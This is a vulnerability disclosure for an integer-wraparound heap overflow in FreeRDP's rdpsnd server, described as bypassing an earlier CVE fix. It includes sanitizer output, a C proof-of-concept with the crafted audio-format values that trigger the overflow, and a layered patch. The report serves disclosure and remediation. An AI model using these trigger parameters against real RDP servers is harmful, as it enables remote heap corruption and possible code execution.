FreeRDP rdpsnd server — heap buffer overflow via integer wraparound in `rdpsnd_server_select_format()` (bypass of CVE-2026-63117 fix)

Summary

A heap buffer overflow (CWE-122 via CWE-190) exists in the rdpsnd server channel (channels/rdpsnd/server/rdpsnd_main.c) of all FreeRDP-based RDP servers that redirect audio to clients. A malicious or compromised RDP client can trigger the bug with two ordinary SNDC_FORMATS PDUs followed by any server audio playback event, yielding an unbounded, sequential heap write — a remote-code-execution class primitive.

The root cause is an integer wraparound in rdpsnd_server_select_format() that bypasses every validation guard added by commit b7ca093 to address CVE-2026-63117, and escalates that issue's DoS impact to heap corruption.

---

Affected Versions

| Component | Affected | |-----------|---------| | FreeRDP master | ≤ 8ec6d3923b8951e11cda8cbd2983494aeb60ce90 (2026-09-23) | | FreeRDP stable 3.32.0 | ✅ Affected | | Earlier stable series (3.x) | ✅ Affected (the nChannels != 0 / nBlockAlign != 0 guards are absent in ≤ 3.16.0, exposing additional division-by-zero paths) |

---

Severity

| Attack scenario | CVSS 3.1 vector | Score | |---|---|---| | Post-authentication (default) | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 High | | No-auth deployments | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 Critical |

CWE: CWE-122 (Heap-Based Buffer Overflow) via CWE-190 (Integer Overflow or Wraparound)

---

Runtime Verification (Live Build — 2026-09-24)

Verified on a clean local build of master @ 8ec6d3923b with ASan + UBSan (Ubuntu 24.04.4 LTS, clang-18.1.3, glibc 2.39):

cmake -B build -G Ninja \
  -DCMAKE_C_COMPILER=clang-18 \
  -DCMAKE_C_FLAGS="-g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined" \
  -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined" \
  -DWITH_SERVER=ON -DWITH_CHANNELS=ON -DBUILD_TESTING=OFF -DWITH_CLIENT=OFF

ASAN_OPTIONS=detect_leaks=0:allocator_may_return_null=1 \
ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer-18 \
./PocRdpsndOverflow

Sanitizer output (deterministic, reproduced twice):

==5648==WARNING: AddressSanitizer failed to allocate 0xffffffffffffffc0 bytes
[ERROR][com.freerdp.channels.rdpsnd.server] - [rdpsnd_server_select_format]: realloc failed!
==5648==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000002374
WRITE of size 16384 at 0x525000002374 thread T0
    #0 __asan_memcpy
    #1 rdpsnd_server_send_samples  rdpsnd_main.c:770:3
    #2 main                        PocRdpsndOverflow.c:175:5
 
0x525000002374 is located 0 bytes after 8820-byte region [0x525000000100,0x525000002374)
allocated by thread T0 here:
    #0 realloc
    #1 rdpsnd_server_select_format rdpsnd_main.c:444:28
    #2 main                        PocRdpsndOverflow.c:108:15
 
SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Shadow map at the fault address ([04]fa) confirms the allocation ends at a 4-byte partial granule immediately before poisoned heap redzone (fa fa ...), consistent with the 8820-byte out_buffer allocation.

---

Vulnerable Code

channels/rdpsnd/server/rdpsnd_main.c

Parse-time validation gap (~line 258–265)

case WAVE_FORMAT_DVI_ADPCM:
    if (format->nBlockAlign < 4)           /* ← only scalar floor; no channel check */
    {
        WLog_ERR(TAG, "invalid client audio format ...");
        goto out_free;
    }
    break;

Missing: format->nBlockAlign < 4ULL * format->nChannels

With nBlockAlign=4, nChannels=2 the client advertises a format where one decoded frame would require 8 bytes of alignment but only 4 are supplied — a valid-looking PDU that passes every existing guard.

Integer wraparound in rdpsnd_server_select_format (~line 407–417)

case WAVE_FORMAT_DVI_ADPCM:
{
    WINPR_ASSERT(format->nBlockAlign >= 4);  /* ✓ passes: 4 >= 4     */
    WINPR_ASSERT(format->nChannels > 0);     /* ✓ passes: 2 > 0      */
    const UINT64 bs = 4ULL * (format->nBlockAlign - 4ULL * format->nChannels);
    //                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    // nBlockAlign=4, nChannels=2:
    //   4ULL * 2 = 8
    //   4 - 8    = 0xFFFFFFFFFFFFFFFC  (unsigned wraparound)
    //   4ULL * 0xFFFFFFFFFFFFFFFC = 0xFFFFFFFFFFFFFFF0
    WINPR_ASSERT(bs > 0);                    /* ✓ passes: 0xFFF...F0 > 0 */
 
    context->priv->out_frames -= context->priv->out_frames % bs;
    if (context->priv->out_frames < bs)
        context->priv->out_frames = bs;      /* out_frames = 0xFFFFFFFFFFFFFFF0 */
}

State committed before allocation succeeds (~line 438–454)

context->priv->out_pending_frames = 0;       /* ← state already mutated */
const size_t out_buffer_size =
    context->priv->out_frames * context->priv->src_bytes_per_frame;  /* also wraps */
 
if (context->priv->out_buffer_size < out_buffer_size)
{
    BYTE* newBuffer = realloc(context->priv->out_buffer, out_buffer_size);
    if (!newBuffer)
    {
        WLog_ERR(TAG, "realloc failed!");
        error = CHANNEL_RC_NO_MEMORY;
        goto out;   /* ← returns error, but out_frames is NOT rolled back */
    }
}

Unchecked CopyMemory sink in rdpsnd_server_send_samples (line 770)

while (nframes > 0)
{
    const size_t cframes =
        MIN(nframes, context->priv->out_frames - context->priv->out_pending_frames);
    // MIN(4096, 0xFFFFFFFFFFFFFFF0 - 0) = 4096
    size_t cframesize = cframes * context->priv->src_bytes_per_frame;
    CopyMemory(context->priv->out_buffer + ..., buf, cframesize);
    // 4096 * 4 = 16384 bytes written into the 8820-byte Stage-1 allocation
    // → 7564 bytes past end of chunk                           ← OVERFLOW
}

Integrators continue after the error (server/shadow/shadow_rdpsnd.c:46)

const UINT rc = context->SelectFormat(context, i);
if (rc != CHANNEL_RC_OK)
    WLog_WARN(TAG, "SelectFormat failed with %" PRIu32, rc);
return;  /* continues operating with corrupted out_frames */

---

Root Cause Chain

1. rdpsnd_server_recv_formats() does not verify

nBlockAlign >= 4 * nChannels for WAVE_FORMAT_DVI_ADPCM (or nBlockAlign >= 7 * nChannels for WAVE_FORMAT_ADPCM).

1. rdpsnd_server_select_format() computes bs as a UINT64 using the

sub-expression (nBlockAlign - 4ULL * nChannels). When nBlockAlign < 4 * nChannels this wraps to ≈ UINT64_MAX, bypassing WINPR_ASSERT(bs > 0) (the guard added for CVE-2026-63117).

1. out_frames is set to the huge wrapped value before the allocation

attempt. The realloc fails and the function returns CHANNEL_RC_NO_MEMORY, but out_frames is not rolled back.

1. All integrator call sites (shadow_rdpsnd.c, mf_rdpsnd.c,

wf_rdpsnd.c) log a warning and continue, leaving the channel in a corrupted state.

1. The next SendSamples call overflows the still-small out_buffer by

up to (4096 × src_bytes_per_frame) − original_buffer_size bytes per call; repeated calls advance the write offset monotonically → unbounded heap corruption. ---

Relationship to CVE-2026-63117

CVE-2026-63117 (commit b7ca093, 2026-07-16) covered the exact-zero case: nBlockAlign=8, nChannels=2 → bs = 4*(8−8) = 0 → division-by-zero (DoS).

The fix added nBlockAlign ≥ 4 (DVI) and nBlockAlign ≥ 8 (ADPCM) floor checks plus WINPR_ASSERT(bs > 0), but did not add the codec-consistency constraint nBlockAlign ≥ 4 × nChannels.

With nBlockAlign=4, nChannels=2 (one unit below the consistency threshold):

• Every new guard passes.
• bs wraps to 0xFFFFFFFFFFFFFFF0 instead of zero.
• ASSERT(bs > 0) passes for the same reason the earlier zero-check was

intended to catch. This is a distinct variant that bypasses the fix and escalates the DoS to a heap buffer overflow / RCE primitive.

---

Proof of Concept

/*
 * PocRdpsndOverflow.c — Runtime verification PoC
 * FreeRDP rdpsnd server: heap buffer overflow via integer wraparound
 * in rdpsnd_server_select_format() (CWE-122 via CWE-190)
 *
 * Tested : master 8ec6d3923b8951e11cda8cbd2983494aeb60ce90 (2026-09-23)
 *
 * Reporter: HEXERLAB / Kanishka De Silva
 *
 * Build:
 *   clang-18 -g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined \
 *     -I<freerdp>/include -I<freerdp>/winpr/include \
 *     -I<freerdp>/channels/rdpsnd/server -I<build>/include -I<build>/winpr/include \
 *     -L<build>/libfreerdp -L<build>/winpr/libwinpr -L<build>/server/common \
 *     -lfreerdp3 -lwinpr3 -lfreerdp-server3 -lpthread -lm -ldl
 *
 * Run:
 *   ASAN_OPTIONS=detect_leaks=0:allocator_may_return_null=1 ./PocRdpsndOverflow
 */
#include "rdpsnd_main.h"
#include <freerdp/codec/audio.h>
#include <winpr/synch.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
/* Stage 1 — benign PCM: allocates 8820-byte out_buffer */
static AUDIO_FORMAT fmt_pcm = { WAVE_FORMAT_PCM, 2, 44100, 176400, 4, 16, 0, NULL };
 
/* Stage 2 — malicious DVI_ADPCM: nBlockAlign=4, nChannels=2
 *   bs = 4*(4 − 4*2) = 4*(4−8) wraps to 0xFFFFFFFFFFFFFFF0
 *   All post-fix ASSERTs pass; out_frames set to wrapped value */
static BYTE dvi_ext[2] = { 0xf9, 0x07 };
static AUDIO_FORMAT fmt_dvi = { WAVE_FORMAT_DVI_ADPCM, 2, 44100, 44251, 4, 4, 2, dvi_ext };
 
static void inject(RdpsndServerContext* ctx, const AUDIO_FORMAT* fmt) {
    AUDIO_FORMAT* a = calloc(1, sizeof *a); *a = *fmt;
    if (fmt->cbSize) { a->data = malloc(fmt->cbSize); memcpy(a->data, fmt->data, fmt->cbSize); }
    if (ctx->client_formats) { free(ctx->client_formats[0].data); free(ctx->client_formats); }
    ctx->client_formats = a; ctx->num_client_formats = 1;
}
 
int main(void) {
    RdpsndServerContext* ctx = rdpsnd_server_context_new(NULL);
    ctx->src_format = &fmt_pcm; ctx->latency = 50;
    InitializeCriticalSectionAndSpinCount(&ctx->priv->lock, 4000);
 
    /* Stage 1: benign PCM — allocates 8820-byte out_buffer */
    inject(ctx, &fmt_pcm);
    ctx->SelectFormat(ctx, 0);
 
    /* Stage 2: malicious format — corrupts out_frames to 0xFFFFFFFFFFFFFFF0 */
    inject(ctx, &fmt_dvi);
    UINT rc = ctx->SelectFormat(ctx, 0);  /* returns CHANNEL_RC_NO_MEMORY */
    printf("SelectFormat rc=%u  out_frames=0x%016zx\n", rc, ctx->priv->out_frames);
 
    /* Stage 3: write 16384 bytes into 8820-byte buffer → ASan fires */
    BYTE buf[16384]; memset(buf, 0x41, sizeof buf);
    ctx->SendSamples(ctx, buf, 4096, 0);  /* rdpsnd_main.c:770 */
    return 0;
}

</details> ---

Suggested Fix

Three complementary layers (defence in depth):

Layer 1 — Input validation at parse time (rdpsnd_server_recv_formats)

case WAVE_FORMAT_DVI_ADPCM:
    if (format->nBlockAlign < 4 ||
        format->nBlockAlign < 4ULL * format->nChannels)   /* ← ADD */
    {
        WLog_ERR(TAG, "invalid client audio format: nBlockAlign too small for nChannels");
        goto out_free;
    }
    break;
 
case WAVE_FORMAT_ADPCM:
    if (format->nBlockAlign < 8 ||
        format->nBlockAlign < 7ULL * format->nChannels)   /* ← ADD */
    {
        WLog_ERR(TAG, "invalid client audio format: nBlockAlign too small for nChannels");
        goto out_free;
    }
    break;

Layer 2 — Overflow-safe arithmetic in rdpsnd_server_select_format

/* DVI_ADPCM branch */
const UINT64 nba = format->nBlockAlign;
const UINT64 nch = format->nChannels;
if (nba < 4ULL * nch) {
    error = ERROR_INVALID_DATA;
    goto out;
}
const UINT64 bs = 4ULL * (nba - 4ULL * nch);
if (bs == 0) {
    error = ERROR_INVALID_DATA;
    goto out;
}

Layer 3 — Commit state only after allocation succeeds

/* Compute in temporaries; commit only on success */
const size_t new_out_frames   = /* derived from bs */;
const size_t new_buffer_size  = new_out_frames * src_bytes_per_frame;
BYTE* newBuffer = realloc(ctx->priv->out_buffer, new_buffer_size);
if (!newBuffer) { error = CHANNEL_RC_NO_MEMORY; goto out; /* no state change */ }
ctx->priv->out_buffer         = newBuffer;
ctx->priv->out_buffer_size    = new_buffer_size;
ctx->priv->out_frames         = new_out_frames;    /* commit AFTER success */
ctx->priv->out_pending_frames = 0;

Also recommended

• Bounds check in rdpsnd_server_send_samples before CopyMemory:

  if (!ctx->priv->out_buffer ||
      ctx->priv->out_pending_frames + cframes > ctx->priv->out_frames)
  { WLog_ERR(...); error = ERROR_INVALID_DATA; break; }

• Backport all three layers to stable-3.0 (the nChannels/nBlockAlign != 0

guards are absent before 3.16.0, exposing additional division-by-zero paths). ---

Reporter

Kanishka De Silva (HEXER / HEXERLAB) kpskanna1915@gmail.com https://hexer.is-a.dev https://github.com/hexer365